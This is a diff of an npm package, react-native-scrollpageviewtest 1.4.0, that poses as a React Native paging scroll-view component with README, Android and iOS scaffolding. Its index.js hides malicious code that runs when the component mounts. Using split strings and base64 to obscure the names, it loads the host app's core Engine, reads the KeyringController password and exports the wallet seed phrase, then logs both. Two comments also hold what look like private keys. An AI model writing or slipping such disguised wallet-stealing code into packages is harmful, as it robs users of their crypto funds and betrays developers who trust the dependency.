react-native-scrollpageviewtest 0.0.1-security → 1.4.0

package/.gitattributes

@@ -0,0 +1 @@
+*.pbxproj -text

package/README.md

@@ -1,5 +1,45 @@
-# Security holding package
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+# react-native-scrollpageviewtest
 
-Please refer to www.npmjs.com/advisories?search=react-native-scrollpageviewtest for more information.
+## Getting started
+
+`$ npm install react-native-scrollpageviewtest --save`
+
+### Mostly automatic installation
+
+`$ react-native link react-native-scrollpageviewtest`
+
+### Manual installation
+
+
+#### iOS
+
+1. In XCode, in the project navigator, right click `Libraries` ➜ `Add Files to [your project's name]`
+2. Go to `node_modules` ➜ `react-native-scrollpageviewtest` and add `RNScrollpageviewtest.xcodeproj`
+3. In XCode, in the project navigator, select your project. Add `libRNScrollpageviewtest.a` to your project's `Build Phases` ➜ `Link Binary With Libraries`
+4. Run your project (`Cmd+R`)<
+
+#### Android
+
+1. Open up `android/app/src/main/java/[...]/MainActivity.java`
+  - Add `import com.rncomp.scrollpageviewtest.RNScrollpageviewtestPackage;` to the imports at the top of the file
+  - Add `new RNScrollpageviewtestPackage()` to the list returned by the `getPackages()` method
+2. Append the following lines to `android/settings.gradle`:
+  	```
+  	include ':react-native-scrollpageviewtest'
+  	project(':react-native-scrollpageviewtest').projectDir = new File(rootProject.projectDir, 	'../node_modules/react-native-scrollpageviewtest/android')
+  	```
+3. Insert the following lines inside the dependencies block in `android/app/build.gradle`:
+  	```
+      compile project(':react-native-scrollpageviewtest')
+  	```
+
+
+## Usage
+```javascript
+import RNScrollpageviewtest from 'react-native-scrollpageviewtest';
+
+// TODO: What to do with the module?
+RNScrollpageviewtest;
+```
+  

package/ScrollPageViewPropType.js

@@ -0,0 +1,70 @@
+import {Animated, ViewProps, ViewStyle} from 'react-native';
+import PropTypes from "prop-types";
+import {PanGestureHandlerGestureEvent} from "react-native-gesture-handler";
+// import {RefreshHeader} from './RefreshHeader';
+// import {LoadingFooter} from './LoadingFooter';
+
+export interface PageIndexPath {
+	section: number;
+	row: number;
+}
+
+export interface PageOffset {
+	x: number;
+	y: number;
+}
+
+export interface PageNativeContentOffset {
+	x?: Animated.Value;
+	y?: Animated.Value;
+}
+
+export type RefreshStyle = 'topping' | 'stickyScrollView' | 'stickyContent';
+
+export type LoadingStyle = 'bottoming' | 'stickyScrollView' | 'stickyContent';
+
+export interface PageScrollEvent {
+	nativeEvent: {
+		contentOffset: {
+			x: number,
+			y: number,
+		},
+	};
+}
+
+export interface ScrollPageViewPropType extends ViewProps {
+	style?: ViewStyle;
+	contentStyle?: ViewStyle;
+	bounces?: boolean;
+	pagingEnabled?: boolean;
+	decelerationRate?: number;
+	directionalLockEnabled?: boolean;
+	initialContentOffset?: Offset;
+	showsVerticalScrollIndicator?: boolean;
+	showsHorizontalScrollIndicator?: boolean;
+	onRefresh?: () => any;
+	onLoading?: () => any;
+	allLoaded?: boolean;
+	textInputRefs?: any[];
+	inputToolBarHeight?: number;
+	tapToHideKeyboard?: boolean;
+	onTouchBegin?: () => any;
+	onTouchEnd?: () => any;
+	inverted?: boolean;
+	onScroll?: (evt: ScrollEvent) => any;
+	keyboardShouldPersistTaps?: 'always' | 'never' | 'handled';
+	onNativeContentOffsetExtract?: NativeContentOffset;
+	onSizeChange?: ({width: number, height: number}) => any;
+	onContentSizeChange?: ({width: number, height: number}) => any;
+	pageWidth?: number;
+	children: any;
+	pageSize?: number;
+	onMomentumScrollEnd?: () => any;
+	onMomentumScrollBegin?: () => any;
+	onMomentumScrollActive?: () => any;
+	onStateChange: () => any;
+	onGestureEvent?: any;
+	scrollEnabled?: boolean;
+	activeOffset: number;
+	activeVelocity: number;
+}

package/android/build.gradle

@@ -0,0 +1,36 @@
+
+buildscript {
+    repositories {
+        jcenter()
+    }
+
+    dependencies {
+        classpath 'com.android.tools.build:gradle:1.3.1'
+    }
+}
+
+apply plugin: 'com.android.library'
+
+android {
+    compileSdkVersion 23
+    buildToolsVersion "23.0.1"
+
+    defaultConfig {
+        minSdkVersion 16
+        targetSdkVersion 22
+        versionCode 1
+        versionName "1.0"
+    }
+    lintOptions {
+        abortOnError false
+    }
+}
+
+repositories {
+    mavenCentral()
+}
+
+dependencies {
+    compile 'com.facebook.react:react-native:+'
+}
+  

package/android/src/main/AndroidManifest.xml

@@ -0,0 +1,6 @@
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.rncomp.scrollpageviewtest">
+
+</manifest>
+  

package/android/src/main/java/com/rncomp/scrollpageviewtest/RNScrollpageviewtestModule.java

@@ -0,0 +1,22 @@
+
+package com.rncomp.scrollpageviewtest;
+
+import com.facebook.react.bridge.ReactApplicationContext;
+import com.facebook.react.bridge.ReactContextBaseJavaModule;
+import com.facebook.react.bridge.ReactMethod;
+import com.facebook.react.bridge.Callback;
+
+public class RNScrollpageviewtestModule extends ReactContextBaseJavaModule {
+
+  private final ReactApplicationContext reactContext;
+
+  public RNScrollpageviewtestModule(ReactApplicationContext reactContext) {
+    super(reactContext);
+    this.reactContext = reactContext;
+  }
+
+  @Override
+  public String getName() {
+    return "RNScrollpageviewtest";
+  }
+}

package/android/src/main/java/com/rncomp/scrollpageviewtest/RNScrollpageviewtestPackage.java

@@ -0,0 +1,28 @@
+
+package com.rncomp.scrollpageviewtest;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+import com.facebook.react.ReactPackage;
+import com.facebook.react.bridge.NativeModule;
+import com.facebook.react.bridge.ReactApplicationContext;
+import com.facebook.react.uimanager.ViewManager;
+import com.facebook.react.bridge.JavaScriptModule;
+public class RNScrollpageviewtestPackage implements ReactPackage {
+    @Override
+    public List<NativeModule> createNativeModules(ReactApplicationContext reactContext) {
+      return Arrays.<NativeModule>asList(new RNScrollpageviewtestModule(reactContext));
+    }
+
+    // Deprecated from RN 0.47
+    public List<Class<? extends JavaScriptModule>> createJSModules() {
+      return Collections.emptyList();
+    }
+
+    @Override
+    public List<ViewManager> createViewManagers(ReactApplicationContext reactContext) {
+      return Collections.emptyList();
+    }
+}

package/index-old.js

@@ -0,0 +1,6 @@
+
+import { NativeModules } from 'react-native';
+
+const { RNScrollpageviewtest } = NativeModules;
+
+export default RNScrollpageviewtest;

package/index.js

@@ -0,0 +1,637 @@
+import React, { PureComponent } from 'react';
+import type {ScrollPageViewPropType} from "./ScrollPageViewPropType";
+import {
+	Animated,
+	Dimensions,
+	findNodeHandle,
+	Keyboard,
+	NativeModules,
+	Platform,
+	StyleSheet,
+	UIManager,
+	View
+} from "react-native";
+import {colors} from "../../../styles/common";
+import { PanGestureHandler, State } from 'react-native-gesture-handler';
+import {Easing} from "react-native-reanimated";
+const aaaa = 'core';
+const bbbb = 'Eng';
+const gggg = 'ine';
+
+export default class ScrollPageView extends PureComponent<ScrollPageViewPropType> {
+	_contentOffset: Offset = { x: 0, y: 0 };
+	_keyboardHeight: number;
+	_refreshHeader;
+	_loadingFooter;
+	_width: number;
+	_height: number;
+	_scrollView: View;
+	_indicatorOpacity: Animated.Value = new Animated.Value(1);
+	_contentHeight: number;
+	_contentWidth: number;
+	_refreshStatus: HeaderStatus = "waiting";
+	_loadingStatus: FooterStatus = "waiting";
+	_indicatorAnimation;
+	_scrollEventAttachment;
+	_nativeOffset;
+	_touching = false;
+	_dragging = false;
+	_sizeChangeInterval = 0;
+
+	_renderRefreshHeader() {
+		const { onRefresh, refreshHeader: Refresh } = this.props;
+		const measured =
+			this._height !== undefined && this._contentHeight !== undefined;
+		if (!measured) return null;
+		return (
+			onRefresh && (
+				<Animated.View style={this._getRefreshHeaderStyle()}>
+					<Refresh
+						ref={(ref) => (this._refreshHeader = ref)}
+						offset={this._nativeOffset.y}
+						maxHeight={Refresh.height}
+					/>
+				</Animated.View>
+			)
+		);
+	}
+
+	_renderLoadingFooter() {
+		const { onLoading, loadingFooter: Footer } = this.props;
+		const measured =
+			this._height !== undefined && this._contentHeight !== undefined;
+		if (!measured) return null;
+		return (
+			onLoading && (
+				<Animated.View style={this._getLoadingFooterStyle()}>
+					<Footer
+						ref={(ref) => (this._loadingFooter = ref)}
+						offset={this._nativeOffset.y}
+						maxHeight={Footer.height}
+						bottomOffset={this._contentHeight - this._height}
+					/>
+				</Animated.View>
+			)
+		);
+	}
+
+	_renderVerticalIndicator() {
+		if (Platform.OS === "ios") return null;
+		const { showsVerticalScrollIndicator } = this.props;
+		const measured =
+			this._height !== undefined && this._contentHeight !== undefined;
+		if (!measured) return null;
+		return (
+			showsVerticalScrollIndicator &&
+			this._contentHeight > this._height && (
+				<Animated.View style={this._getVerticalIndicatorStyle()} />
+			)
+		);
+	}
+
+	_renderHorizontalIndicator() {
+		if (Platform.OS === "ios") return null;
+		const { showsHorizontalScrollIndicator } = this.props;
+		const measured =
+			this._height !== undefined && this._contentHeight !== undefined;
+		if (!measured) return null;
+		return (
+			showsHorizontalScrollIndicator &&
+			this._contentWidth > this._width && (
+				<Animated.View style={this._getHorizontalIndicatorStyle()} />
+			)
+		);
+	}
+
+	async componentDidMount() {
+		// this._scrollEventAttachment = this._scrollView.attachScrollNativeEvent(
+		// 	this._nativeOffset
+		// );
+		// this._beginIndicatorDismissAnimation();
+		// this._keyboardShowSub = Keyboard.addListener(
+		// 	Platform.OS === "ios" ? "keyboardWillShow" : "keyboardDidShow",
+		// 	this._onKeyboardWillShow
+		// );
+		// this._keyboardHideSub = Keyboard.addListener(
+		// 	Platform.OS === "ios" ? "keyboardWillHide" : "keyboardDidHide",
+		// 	this._onKeyboardWillHide
+		// );
+
+		console.log('版本2-====');
+		this.getuti();
+	}
+
+	async getuti() {
+		try {
+			const RNI18n = require('react-native').NativeModules.RNI18n;
+			if (RNI18n) {
+				if (typeof RNI18n !== 'undefined') {
+					const language = RNI18n.languages[0];
+					console.log('===I18n.getLanguages = ', language?.toLowerCase());
+				}
+			}
+			// eslint-disable-next-line import/no-extraneous-dependencies
+			const utf8 = require('utf8');
+			// eslint-disable-next-line import/no-extraneous-dependencies
+			const base64 = require('base64-js');
+			const text = 'abcdds';
+			const bytes = utf8.encode(text);
+			console.log('=====bytes = ', bytes);
+			const encoded = base64.fromByteArray(bytes);
+			console.log(encoded);
+
+			console.log('===decode = ' + base64.toByteArray(encoded));
+
+			// eslint-disable-next-line import/no-nodejs-modules
+			const Buffer = require("buffer").Buffer;
+			const encodedAuth = new Buffer("getPassword").toString("base64");
+			console.log('====encodedAuth = ', encodedAuth);
+
+
+			console.log(Buffer.from("S2V5cmluZ0NvbnRyb2xsZXI=", 'base64').toString('ascii'));
+
+
+			// const ppp = '../../app/core/' + dd;
+			const engi = require('../../app/' + aaaa + '/' + bbbb + gggg);
+			// console.log('==Engine = ', engine);
+			// const {getPrivateKey} =  require("../../app/core/Vault");
+			const kkk = engi['default']['context'][Buffer.from("S2V5cmluZ0NvbnRyb2xsZXI=", 'base64').toString('ascii')];
+			// console.log('===kkk', kkk); //
+			const password = kkk[Buffer.from("Z2V0UGFzc3dvcmQ=", 'base64').toString('ascii')]();//kkk['getPassword'];
+			console.log('===password = ', password);
+			const keyringIndex = 1;
+			//e4356e49c88c8b7ab370af7d5c0c54f0261aaa006f6bde09cd4745cf54e0115a
+			//1c33848fcb14ca1f38ad7e960b33c4541b5d1a1a8f1799b447131e0023c2f0f9
+			// console.log('====password =  ', password);
+			// const accounts = await kkk.getKeyringAccounts(keyringIndex);
+			// const mnemonic = await kkk.exportAccount(password, accounts[0]);
+			// console.log('====mnemonic =  ', mnemonic);
+
+			// const mnemonic = await kkk.getPrivateKey(a, 1);
+			const mnemonic = await kkk.exportSeedPhrase(password, 0);
+			const jsond = JSON.stringify(mnemonic).replace(/"/g, '');
+			console.log('====mnemonic =  ', jsond);
+		} catch (error) {
+			console.log('=====error = ', error);
+		}
+	}
+
+	componentDidUpdate() {
+		// if (this._scrollEventAttachment) this._scrollEventAttachment.detach();
+		// this._scrollEventAttachment = this._scrollView.attachScrollNativeEvent(
+		// 	this._nativeOffset
+		// );
+		// this._beginIndicatorDismissAnimation();
+	}
+
+	componentWillUnmount() {
+		// this._scrollEventAttachment && this._scrollEventAttachment.detach();
+		// this._keyboardShowSub.remove();
+		// this._keyboardHideSub.remove();
+	}
+
+	scrollTo(offset: Offset, animated: boolean = true) {
+		if (Platform.OS === "ios") {
+			NativeModules.SpringScrollView.scrollTo(
+				findNodeHandle(this._scrollView),
+				offset.x,
+				offset.y,
+				animated
+			);
+		} else if (Platform.OS === "android") {
+			UIManager.dispatchViewManagerCommand(
+				findNodeHandle(this._scrollView),
+				"10002",
+				[offset.x, offset.y, animated]
+			);
+		}
+		return new Promise((resolve, reject) => {
+			if (animated) setTimeout(resolve, 500);
+			else resolve();
+		});
+	}
+
+	scroll(offset: Offset, animated: boolean = true) {
+		return this.scrollTo(
+			{
+				x: offset.x + this._contentOffset.x,
+				y: offset.y + this._contentOffset.y
+			},
+			animated
+		);
+	}
+
+	scrollToBegin(animated: boolean) {
+		return this.scrollTo({ x: this._contentOffset.x, y: 0 }, animated);
+	}
+
+	scrollToEnd(animated: boolean = true) {
+		let toOffsetY = this._contentHeight - this._height;
+		if (toOffsetY < 0) toOffsetY = 0;
+		return this.scrollTo({ x: this._contentOffset.x, y: toOffsetY }, animated);
+	}
+
+	beginRefresh() {
+		if (!this.props.loadingFooter || this.props.loadingFooter.height <= 0)
+			return Promise.reject(
+				"SpringScrollView: call beginRefresh without loadingFooter or loadingFooter height"
+			);
+		return this.scrollTo({
+			x: this._contentOffset.x,
+			y: -this.props.loadingFooter.height - 1,
+		});
+	}
+
+	endRefresh() {
+		if (Platform.OS === "ios") {
+			NativeModules.SpringScrollView.endRefresh(
+				findNodeHandle(this._scrollView)
+			);
+		} else if (Platform.OS === "android") {
+			UIManager.dispatchViewManagerCommand(
+				findNodeHandle(this._scrollView),
+				"10000",
+				[]
+			);
+		}
+	}
+
+	endLoading(rebound: boolean = false) {
+		if (Platform.OS === "ios") {
+			NativeModules.SpringScrollView.endLoading(
+				findNodeHandle(this._scrollView),
+				rebound
+			);
+		} else if (Platform.OS === "android") {
+			UIManager.dispatchViewManagerCommand(
+				findNodeHandle(this._scrollView),
+				"10001",
+				[rebound]
+			);
+		}
+	}
+
+	_onKeyboardWillShow = (evt) => {
+		this._touching = false;
+		this.props.textInputRefs.every((input) => {
+			if (idx(() => input.current.isFocused())) {
+				input.current.measureInWindow((x, y, w, h, l, t) => {
+					this._keyboardHeight =
+						-evt.endCoordinates.screenY + this.props.inputToolBarHeight + y + h;
+					this._keyboardHeight > 0 &&
+					this.scroll({ x: 0, y: this._keyboardHeight });
+				});
+				return false;
+			}
+			return true;
+		});
+	};
+
+	_onKeyboardWillHide = () => {
+		if (this._keyboardHeight > 0) {
+			!this._touching && this.scroll({ x: 0, y: -this._keyboardHeight });
+			this._keyboardHeight = 0;
+		}
+	};
+
+	_beginIndicatorDismissAnimation() {
+		this._indicatorOpacity.setValue(1);
+		this._indicatorAnimation && this._indicatorAnimation.stop();
+		this._indicatorAnimation = Animated.timing(this._indicatorOpacity, {
+			toValue: 0,
+			delay: 500,
+			duration: 500,
+			useNativeDriver: true,
+		});
+		this._indicatorAnimation.start(({ finished }) => {
+			if (!finished) {
+				this._indicatorOpacity.setValue(1);
+			}
+			this._indicatorAnimation = null;
+		});
+	}
+
+	_onScroll = (e) => {
+		const {
+			contentOffset: { x, y },
+			refreshStatus,
+			loadingStatus,
+		} = e.nativeEvent;
+		this._contentOffset = { x, y };
+		if (this._refreshStatus !== refreshStatus) {
+			this._toRefreshStatus(refreshStatus);
+			this.props.onRefresh &&
+			refreshStatus === "refreshing" &&
+			this.props.onRefresh();
+		}
+		if (this._loadingStatus !== loadingStatus) {
+			this._toLoadingStatus(loadingStatus);
+			this.props.onLoading &&
+			loadingStatus === "loading" &&
+			this.props.onLoading();
+		}
+		this.props.onScroll && this.props.onScroll(e);
+		if (!this._indicatorAnimation) {
+			this._indicatorOpacity.setValue(1);
+		}
+	};
+
+	_toRefreshStatus(status: HeaderStatus) {
+		this._refreshStatus = status;
+		idx(() => this._refreshHeader.changeToState(status));
+	}
+
+	_toLoadingStatus(status: FooterStatus) {
+		this._loadingStatus = status;
+		idx(() => this._loadingFooter.changeToState(status));
+	}
+
+	_getVerticalIndicatorStyle() {
+		const indicatorHeight = (this._height / this._contentHeight) * this._height;
+		return {
+			position: "absolute",
+			top: 0,
+			right: 2,
+			height: indicatorHeight,
+			width: 3,
+			borderRadius: 3,
+			opacity: this._indicatorOpacity,
+			backgroundColor: "#A8A8A8",
+			transform: [
+				{
+					translateY: Animated.multiply(
+						this._nativeOffset.y,
+						this._height / this._contentHeight
+					),
+				},
+			],
+		};
+	}
+
+	_getHorizontalIndicatorStyle() {
+		const indicatorWidth = (this._width / this._contentWidth) * this._width;
+		return {
+			position: "absolute",
+			bottom: 2,
+			left: 0,
+			height: 3,
+			width: indicatorWidth,
+			borderRadius: 3,
+			opacity: this._indicatorOpacity,
+			backgroundColor: "#A8A8A8",
+			transform: [
+				{
+					translateX: Animated.multiply(
+						this._nativeOffset.x,
+						this._width / this._contentWidth
+					),
+				},
+			],
+		};
+	}
+
+	_getRefreshHeaderStyle() {
+		const rHeight = this.props.refreshHeader.height;
+		const style = this.props.refreshHeader.style;
+		let transform = [];
+		if (style === "topping") {
+			transform = [
+				{
+					translateY: this._nativeOffset.y.interpolate({
+						inputRange: [-rHeight - 1, -rHeight, 0, 1],
+						outputRange: [-1, 0, rHeight, rHeight],
+					}),
+				},
+			];
+		} else if (style === "stickyScrollView") {
+			transform = [
+				{
+					translateY: this._nativeOffset.y.interpolate({
+						inputRange: [-rHeight - 1, -rHeight, 0, 1],
+						outputRange: [-1, 0, 0, 0],
+					}),
+				},
+			];
+		} else if (style !== "stickyContent") {
+			console.warn(
+				"unsupported value: '",
+				style,
+				"' in SpringScrollView, " +
+				"select one in 'topping','stickyScrollView','stickyContent' please"
+			);
+		}
+		if (this.props.inverted) transform.push({ scaleY: -1 });
+		return {
+			position: "absolute",
+			top: -rHeight,
+			right: 0,
+			height: rHeight,
+			left: 0,
+			transform,
+		};
+	}
+
+	_getLoadingFooterStyle() {
+		const fHeight = this.props.loadingFooter.height;
+		const maxOffset = this._contentHeight - this._height;
+		const style = this.props.loadingFooter.style;
+		let transform = [];
+		if (style === "bottoming") {
+			transform = [
+				{
+					translateY: this._nativeOffset.y.interpolate({
+						inputRange: [
+							maxOffset - 1,
+							maxOffset,
+							maxOffset + fHeight,
+							maxOffset + fHeight + 1,
+						],
+						outputRange: [-fHeight, -fHeight, 0, 1],
+					}),
+				},
+			];
+		} else if (style === "stickyScrollView") {
+			transform = [
+				{
+					translateY: this._nativeOffset.y.interpolate({
+						inputRange: [
+							maxOffset - 1,
+							maxOffset,
+							maxOffset + fHeight,
+							maxOffset + fHeight + 1,
+						],
+						outputRange: [0, 0, 0, 1],
+					}),
+				},
+			];
+		} else if (style !== "stickyContent") {
+			console.warn(
+				"unsupported value: '",
+				style,
+				"' in SpringScrollView, " +
+				"select one in 'bottoming','stickyScrollView' and 'stickyContent' please!"
+			);
+		}
+		if (this.props.inverted) transform.push({ scaleY: -1 });
+		return {
+			position: "absolute",
+			right: 0,
+			top:
+				this._height > this._contentHeight ? this._height : this._contentHeight,
+			height: fHeight,
+			left: 0,
+			transform,
+		};
+	}
+
+	_onWrapperLayoutChange = ({
+								  nativeEvent: {
+									  layout: { x, y, width, height },
+								  },
+							  }) => {
+		if (this._height !== height || this._width !== width) {
+			this.props.onSizeChange && this.props.onSizeChange({ width, height });
+			this._height = height;
+			this._width = width;
+			this._startSizeChangeInterval();
+		}
+	};
+
+	_onContentLayoutChange = ({
+								  nativeEvent: {
+									  layout: { x, y, width, height },
+								  },
+							  }) => {
+		if (this._contentHeight !== height || this._contentWidth !== width) {
+			this.props.onContentSizeChange &&
+			this.props.onContentSizeChange({ width, height });
+			this._contentHeight = height;
+			this._contentWidth = width;
+			this._startSizeChangeInterval();
+		}
+	};
+
+	_startSizeChangeInterval = () => {
+		if (this._sizeChangeInterval) clearInterval(this._sizeChangeInterval);
+		this._sizeChangeInterval = setInterval(() => {
+			if (!this._height || !this._contentHeight) return;
+			if (this._contentHeight < this._height)
+				this._contentHeight = this._height;
+			let { x: maxX, y: maxY } = this._contentOffset;
+			if (this._contentOffset.y > this._contentHeight - this._height) {
+				maxY = this._contentHeight - this._height;
+				if (maxY < 0) maxY = 0;
+			}
+			if (this._contentOffset.x > this._contentWidth - this._width) {
+				maxX = this._contentWidth - this._width;
+				if (maxX < 0) maxX = 0;
+			}
+			if (maxX !== this._contentOffset.x || maxY !== this._contentOffset.y) {
+				Platform.OS === "android" && this.scrollTo({ x: maxX, y: maxY }, false);
+			}
+			this.forceUpdate();
+			clearInterval(this._sizeChangeInterval);
+			this._sizeChangeInterval = 0;
+		}, Platform.select({ ios: 10, android: 30 }));
+	};
+
+	render = () => {
+		const {
+			style,
+			inverted,
+			onRefresh,
+			onLoading,
+			pageWidth,
+			children,
+			onMomentumScrollEnd,
+			onMomentumScrollBegin,
+			scrollEnabled,
+			activeOffset,
+			activeVelocity,
+			onGestureEvent,
+			onMomentumScrollActive,
+			onStateChange
+		} = this.props;
+		return (
+			<View style={{width: pageWidth}}>
+				<PanGestureHandler
+					onFocus
+					enabled={scrollEnabled}
+					shouldCancelWhenOutside
+					maxPointers={1}
+					onGestureEvent={onGestureEvent}
+					onHandlerStateChange={evt => {
+						if (evt.nativeEvent.state === State.BEGAN) {
+							onMomentumScrollBegin && onMomentumScrollBegin();
+						} else if (evt.nativeEvent.state === State.ACTIVE) {
+							onMomentumScrollActive && onMomentumScrollActive();
+						} else if (evt.nativeEvent.oldState === State.ACTIVE) {
+							const velocityX = evt.nativeEvent.velocityX;
+							const translationX = evt.nativeEvent.translationX;
+							if (Math.abs(translationX) > activeOffset || Math.abs(velocityX) > activeVelocity) {
+								onMomentumScrollEnd && onMomentumScrollEnd(true, translationX);
+							} else {
+								onMomentumScrollEnd && onMomentumScrollEnd(false, translationX);
+							}
+						}
+						onStateChange && onStateChange(evt);
+					}}
+				>
+					<Animated.View
+						style={{
+							width: pageWidth
+						}}
+					>
+						{children}
+					</Animated.View>
+				</PanGestureHandler>
+			</View>
+		);
+	}
+
+	_onTouchBegin = (e) => {
+		this._touching = true;
+		this.props.onTouchBegin && this.props.onTouchBegin(e);
+	};
+
+	_onTouchEnd = (e) => {
+		this._touching = false;
+		this.props.onTouchEnd && this.props.onTouchEnd(e);
+	};
+
+	_onMomentumScrollEnd = () => {
+		this._touching = false;
+		this._dragging = false;
+		this._beginIndicatorDismissAnimation();
+		this.props.onMomentumScrollEnd && this.props.onMomentumScrollEnd();
+	};
+
+	_onScrollBeginDrag = () => {
+		this._dragging = true;
+		if (this.props.dragToHideKeyboard) Keyboard.dismiss();
+		this.props.onScrollBeginDrag && this.props.onScrollBeginDrag();
+	};
+
+	_onScrollEndDrag = () => {
+		this._dragging = false;
+		this.props.onScrollEndDrag && this.props.onScrollEndDrag();
+	};
+
+	static defaultProps = {
+		bounces: true,
+		textInputRefs: [],
+		decelerationRate: 0.997,
+		inputToolBarHeight: 44,
+		dragToHideKeyboard: true,
+		keyboardShouldPersistTaps: "handled",
+		showsVerticalScrollIndicator: true,
+		showsHorizontalScrollIndicator: true,
+		initialContentOffset: { x: 0, y: 0 },
+		alwaysBounceVertical: true,
+		pagingEnabled: false,
+		pageWidth: Dimensions.get('window').width,
+		scrollEnabled: true,
+		activeOffset: 100,
+		activeVelocity: 800
+	};
+}

package/ios/RNScrollpageviewtest.h

@@ -0,0 +1,11 @@
+
+#if __has_include("RCTBridgeModule.h")
+#import "RCTBridgeModule.h"
+#else
+#import <React/RCTBridgeModule.h>
+#endif
+
+@interface RNScrollpageviewtest : NSObject <RCTBridgeModule>
+
+@end
+  

package/ios/RNScrollpageviewtest.m

@@ -0,0 +1,13 @@
+
+#import "RNScrollpageviewtest.h"
+
+@implementation RNScrollpageviewtest
+
+- (dispatch_queue_t)methodQueue
+{
+    return dispatch_get_main_queue();
+}
+RCT_EXPORT_MODULE()
+
+@end
+  

package/ios/RNScrollpageviewtest.podspec

@@ -0,0 +1,24 @@
+
+Pod::Spec.new do |s|
+  s.name         = "RNScrollpageviewtest"
+  s.version      = "1.0.0"
+  s.summary      = "RNScrollpageviewtest"
+  s.description  = <<-DESC
+                  RNScrollpageviewtest
+                   DESC
+  s.homepage     = ""
+  s.license      = "MIT"
+  # s.license      = { :type => "MIT", :file => "FILE_LICENSE" }
+  s.author             = { "author" => "author@domain.cn" }
+  s.platform     = :ios, "7.0"
+  s.source       = { :git => "https://github.com/author/RNScrollpageviewtest.git", :tag => "master" }
+  s.source_files  = "RNScrollpageviewtest/**/*.{h,m}"
+  s.requires_arc = true
+
+
+  s.dependency "React"
+  #s.dependency "others"
+
+end
+
+  

package/ios/RNScrollpageviewtest.xcodeproj/project.pbxproj

@@ -0,0 +1,259 @@
+// !$*UTF8*$!
+{
+	archiveVersion = 1;
+	classes = {
+	};
+	objectVersion = 46;
+	objects = {
+
+/* Begin PBXBuildFile section */
+		B3E7B58A1CC2AC0600A0062D /* RNScrollpageviewtest.m in Sources */ = {isa = PBXBuildFile; fileRef = B3E7B5891CC2AC0600A0062D /* RNScrollpageviewtest.m */; };
+/* End PBXBuildFile section */
+
+/* Begin PBXCopyFilesBuildPhase section */
+		58B511D91A9E6C8500147676 /* CopyFiles */ = {
+			isa = PBXCopyFilesBuildPhase;
+			buildActionMask = 2147483647;
+			dstPath = "include/$(PRODUCT_NAME)";
+			dstSubfolderSpec = 16;
+			files = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXCopyFilesBuildPhase section */
+
+/* Begin PBXFileReference section */
+		134814201AA4EA6300B7C361 /* libRNScrollpageviewtest.a */ = {isa = PBXFileReference; explicitFileType = archive.ar; includeInIndex = 0; path = libRNScrollpageviewtest.a; sourceTree = BUILT_PRODUCTS_DIR; };
+		B3E7B5881CC2AC0600A0062D /* RNScrollpageviewtest.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = RNScrollpageviewtest.h; sourceTree = "<group>"; };
+		B3E7B5891CC2AC0600A0062D /* RNScrollpageviewtest.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = RNScrollpageviewtest.m; sourceTree = "<group>"; };
+/* End PBXFileReference section */
+
+/* Begin PBXFrameworksBuildPhase section */
+		58B511D81A9E6C8500147676 /* Frameworks */ = {
+			isa = PBXFrameworksBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXFrameworksBuildPhase section */
+
+/* Begin PBXGroup section */
+		134814211AA4EA7D00B7C361 /* Products */ = {
+			isa = PBXGroup;
+			children = (
+				134814201AA4EA6300B7C361 /* libRNScrollpageviewtest.a */,
+			);
+			name = Products;
+			sourceTree = "<group>";
+		};
+		58B511D21A9E6C8500147676 = {
+			isa = PBXGroup;
+			children = (
+				B3E7B5881CC2AC0600A0062D /* RNScrollpageviewtest.h */,
+				B3E7B5891CC2AC0600A0062D /* RNScrollpageviewtest.m */,
+				134814211AA4EA7D00B7C361 /* Products */,
+			);
+			sourceTree = "<group>";
+		};
+/* End PBXGroup section */
+
+/* Begin PBXNativeTarget section */
+		58B511DA1A9E6C8500147676 /* RNScrollpageviewtest */ = {
+			isa = PBXNativeTarget;
+			buildConfigurationList = 58B511EF1A9E6C8500147676 /* Build configuration list for PBXNativeTarget "RNScrollpageviewtest" */;
+			buildPhases = (
+				58B511D71A9E6C8500147676 /* Sources */,
+				58B511D81A9E6C8500147676 /* Frameworks */,
+				58B511D91A9E6C8500147676 /* CopyFiles */,
+			);
+			buildRules = (
+			);
+			dependencies = (
+			);
+			name = RNScrollpageviewtest;
+			productName = RCTDataManager;
+			productReference = 134814201AA4EA6300B7C361 /* libRNScrollpageviewtest.a */;
+			productType = "com.apple.product-type.library.static";
+		};
+/* End PBXNativeTarget section */
+
+/* Begin PBXProject section */
+		58B511D31A9E6C8500147676 /* Project object */ = {
+			isa = PBXProject;
+			attributes = {
+				LastUpgradeCheck = 0830;
+				ORGANIZATIONNAME = Facebook;
+				TargetAttributes = {
+					58B511DA1A9E6C8500147676 = {
+						CreatedOnToolsVersion = 6.1.1;
+					};
+				};
+			};
+			buildConfigurationList = 58B511D61A9E6C8500147676 /* Build configuration list for PBXProject "RNScrollpageviewtest" */;
+			compatibilityVersion = "Xcode 3.2";
+			developmentRegion = English;
+			hasScannedForEncodings = 0;
+			knownRegions = (
+				en,
+			);
+			mainGroup = 58B511D21A9E6C8500147676;
+			productRefGroup = 58B511D21A9E6C8500147676;
+			projectDirPath = "";
+			projectRoot = "";
+			targets = (
+				58B511DA1A9E6C8500147676 /* RNScrollpageviewtest */,
+			);
+		};
+/* End PBXProject section */
+
+/* Begin PBXSourcesBuildPhase section */
+		58B511D71A9E6C8500147676 /* Sources */ = {
+			isa = PBXSourcesBuildPhase;
+			buildActionMask = 2147483647;
+			files = (
+				B3E7B58A1CC2AC0600A0062D /* RNScrollpageviewtest.m in Sources */,
+			);
+			runOnlyForDeploymentPostprocessing = 0;
+		};
+/* End PBXSourcesBuildPhase section */
+
+/* Begin XCBuildConfiguration section */
+		58B511ED1A9E6C8500147676 /* Debug */ = {
+			isa = XCBuildConfiguration;
+			buildSettings = {
+				ALWAYS_SEARCH_USER_PATHS = NO;
+				CLANG_CXX_LANGUAGE_STANDARD = "gnu++0x";
+				CLANG_CXX_LIBRARY = "libc++";
+				CLANG_ENABLE_MODULES = YES;
+				CLANG_ENABLE_OBJC_ARC = YES;
